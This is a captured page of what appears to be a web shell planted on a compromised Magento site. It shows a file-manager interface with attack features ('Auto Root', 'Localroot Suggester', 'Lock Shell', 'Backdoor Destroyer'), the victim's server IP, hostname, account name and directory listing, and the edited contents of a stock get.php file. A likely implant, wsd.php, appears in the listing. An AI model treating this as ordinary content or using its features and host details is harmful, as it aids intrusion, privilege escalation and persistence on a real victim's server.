Linux host2.homegym.sg 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
Apache
Server IP : 159.223.38.192 & Your IP : 159.223.38.192
Domains : 20 Domain
User : eachadea
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
home /
eachadea /
public_html /
m2 /
pub /
Delete
Unzip
Name
Size
Permission
Date
Action
errors
[ DIR ]
dr-xr-xr-x
2023-01-23 10:02
media
[ DIR ]
drwxr-xr-x
2025-10-30 17:01
mediaamasty
[ DIR ]
drwxr-xr-x
2020-12-15 04:30
opt
[ DIR ]
drwxr-xr-x
2021-06-18 03:17
static
[ DIR ]
drwxrwsrwx
2025-02-20 12:23
.htaccess
8.2
KB
-rw-r--r--
2025-10-28 19:05
.user.ini
101
B
-rw-r--r--
2023-01-06 06:58
ads.txt
58
B
-rw-r--r--
2025-10-30 01:35
cron.php
1.01
KB
-rw-r--r--
2023-01-06 06:58
get.php
2.82
KB
-rw-r--r--
2023-01-06 06:58
health_check.php
3.4
KB
-rw-r--r--
2023-01-06 06:58
index.php
821
B
-rw-r--r--
2023-01-06 06:58
static.php
445
B
-rw-r--r--
2023-01-06 06:58
wsd.php
38.94
KB
-rw-r--r--
2025-10-28 19:24
Save
Rename
<?php /** * Public media files entry point * * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ use Magento\Framework\App\Cache\Frontend\Factory; use Magento\Framework\App\ObjectManagerFactory; use Magento\Framework\HTTP\PhpEnvironment\Request; use Magento\Framework\Stdlib\Cookie\PhpCookieReader; require dirname(__DIR__) . '/app/bootstrap.php'; $mediaDirectory = null; $allowedResources = []; $configCacheFile = BP . '/var/resource_config.json'; $isAllowed = function ($resource, array $allowedResources) { foreach ($allowedResources as $allowedResource) { if (0 === stripos($resource, $allowedResource)) { return true; } } return false; }; $request = new \Magento\MediaStorage\Model\File\Storage\Request( new Request( new PhpCookieReader(), new Magento\Framework\Stdlib\StringUtils() ) ); $relativePath = $request->getPathInfo(); if (file_exists($configCacheFile) && is_readable($configCacheFile)) { $config = json_decode(file_get_contents($configCacheFile), true); //checking update time if (filemtime($configCacheFile) + $config['update_time'] > time()) { $mediaDirectory = $config['media_directory']; $allowedResources = $config['allowed_resources']; // Serve file if it's materialized if ($mediaDirectory) { $fileAbsolutePath = __DIR__ . '/' . $relativePath; $fileRelativePath = str_replace(rtrim($mediaDirectory, '/') . '/', '', $fileAbsolutePath); if (!$isAllowed($fileRelativePath, $allowedResources)) { require_once 'errors/404.php'; exit; } if (is_readable($fileAbsolutePath)) { if (is_dir($fileAbsolutePath)) { require_once 'errors/404.php'; exit; } $transfer = new \Magento\Framework\File\Transfer\Adapter\Http( new \Magento\Framework\HTTP\PhpEnvironment\Response(), new \Magento\Framework\File\Mime() ); $transfer->send($fileAbsolutePath); exit; } } } } // Materialize file in application $params = $_SERVER; if (empty($mediaDirectory)) { $params[ObjectManagerFactory::INIT_PARAM_DEPLOYMENT_CONFIG] = []; $params[Factory::PARAM_CACHE_FORCED_OPTIONS] = ['frontend_options' => ['disable_save' => true]]; } $bootstrap = \Magento\Framework\App\Bootstrap::create(BP, $params); /** @var \Magento\MediaStorage\App\Media $app */ $app = $bootstrap->createApplication( \Magento\MediaStorage\App\Media::class, [ 'mediaDirectory' => $mediaDirectory, 'configCacheFile' => $configCacheFile, 'isAllowed' => $isAllowed, 'relativeFileName' => $relativePath, ] ); $bootstrap->run($app);